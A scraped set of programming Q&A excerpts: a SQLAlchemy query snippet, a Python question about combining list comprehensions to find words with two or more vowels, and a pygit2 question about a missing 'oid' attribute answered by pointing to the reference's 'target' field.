from sqlalchemy.ext.declarative import declarative_base
engine = create_engine('sqlite:///:memory:', echo=True)
session = sessionmaker(bind=engine)()
Base = declarative_base(engine)
class MyTable(Base):
__tablename__ = 'my_table'
id = Column(Integer, primary_key=True)
x = Column(Integer)
Base.metadata.create_all(engine)
# this is the query
qry = session.query(MyTable).filter(MyTable.x.in_([1,2,3,4,5]))
result = qry.all()
|
Python List Comprehension Personal Challenge
Question: > Given a text file, "words.txt", use list comprehension to read in all of the
> words in the file, and find all the words that contain at least 2 vowels.
So, I have a text file:
The quick brown fox jumps over the lazy dog
And, the best attempt at getting all the words, and all the words with two or
more vowels is:
#This could be hardcoded in, but for the sake of simplicity (as simple as simplicity gets)
vowels = ["a","e","i","o","u"]
filename = "words.txt"
words = [word for word in open(filename, "r").read().split()]
multivowels = [each for each in open(filename, "r").read().split() if sum(letter in vowels for letter in each) >= 2]
The output should mimic:
All words in the file: ['The', 'quick', 'brown', 'fox', 'jumps', 'over', 'the', 'lazy', 'dog']
The words in the file that contain 2 or more vowels: ['quick', 'over']
My attempt to put this into one line was just to print the list comprehension
side of "words" and "multivowels" as well as the "All words in the file; "...
etc.
Is there anyone out there for the challenge of combining these two list
comprehensions into one? My teammate and I are stumped, but would love to show
it off to our professor!
Again, my final, single-line code is:
print "All words in the file: " + str([word for word in open(filename, "r").read().split()]) + "\nAll words with more than 2 vowels: " + str([each for each in open(filename, "r").read().split() if sum(letter in vowels for letter in each) >= 2])
EDIT: My attempt at getting all words in the file, as well as all the words
with two or more vowels.
vowels = ["a", "e", "i", "o", "u"]
filename = "words.txt"
print [(word, each) for word in open(filename, "r").read().split() if sum([1 for each in word if each in vowels]) >= 2]
Answer: There are some corner cases to deal with here, but if you assume a simple text
file:
import re
vowels = "a","e","i","o","u"
answer = [[word for word in re.sub("[^\w]", " ", sentence).split() if (sum(1 for letter in word if letter in vowels)>=2)] for sentence in open(filename,"r").readlines()]
|
pygit2 / libgit2 AttributeError: '_pygit2.Reference' object has no attribute 'oid'
Question: I am trying to create a repository and commit a file to it, but getting the
error AttributeError: '_pygit2.Reference' object has no attribute 'oid'
Any advice welcomed.
(venv3.4.1) ubuntu@app:/var/www/app-/src/tests/api$ python test_git_repo.py
Traceback (most recent call last):
File "test_git_repo.py", line 35, in <module>
add_file_to_repo()
File "test_git_repo.py", line 31, in add_file_to_repo
repo.create_commit('HEAD',author, committer,'Files saved by front end commit.', treeid, [repo.head.oid] )
AttributeError: '_pygit2.Reference' object has no attribute 'oid'
(venv3.4.1) ubuntu@app:/var/www/app-/src/tests/api$ cat test
cat: test: No such file or directory
(venv3.4.1) ubuntu@app:/var/www/app-/src/tests/api$ cat test_git_repo.py
import pygit2
from time import time
import io
import sys
repo_id = 'my_repo01'
repo_location = '/usr/local/repo/' + repo_id
author = pygit2.Signature('Author Name', '[email protected]', int(time()), 0)
committer = author
def create_repo():
repo = pygit2.init_repository(repo_location, bare=True) # Creates a bare repository
bld = repo.TreeBuilder()
t = bld.write()
c = repo.create_commit('HEAD', author, committer, 'Create master branch', t, [])
def add_file_to_repo():
repo = pygit2.Repository(repo_location)
head = repo.head
f = io.BytesIO()
f.write(b'hello')
# create the file as blob in git
blob_id = repo.write(pygit2.GIT_OBJ_BLOB, f.read())
# add file to index/working area
index = repo.index
index.read()
new_entry = pygit2.IndexEntry('path/to/my/file.txt', blob_id, pygit2.GIT_FILEMODE_BLOB)
index.add(new_entry)
treeid = index.write_tree()
index.write() # write index to disk
repo.create_commit('HEAD',author, committer,'Files saved by front end commit.', treeid, [repo.head.oid] )
f.close()
create_repo()
add_file_to_repo()
(venv3.4.1) ubuntu@app:/var/www/app-/src/tests/api$
Answer: As you can see from the docs for references at [0], the object or reference
they point to is accessed through the `target` field.
[0] <http://www.pygit2.org/references.html#the-reference-type>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.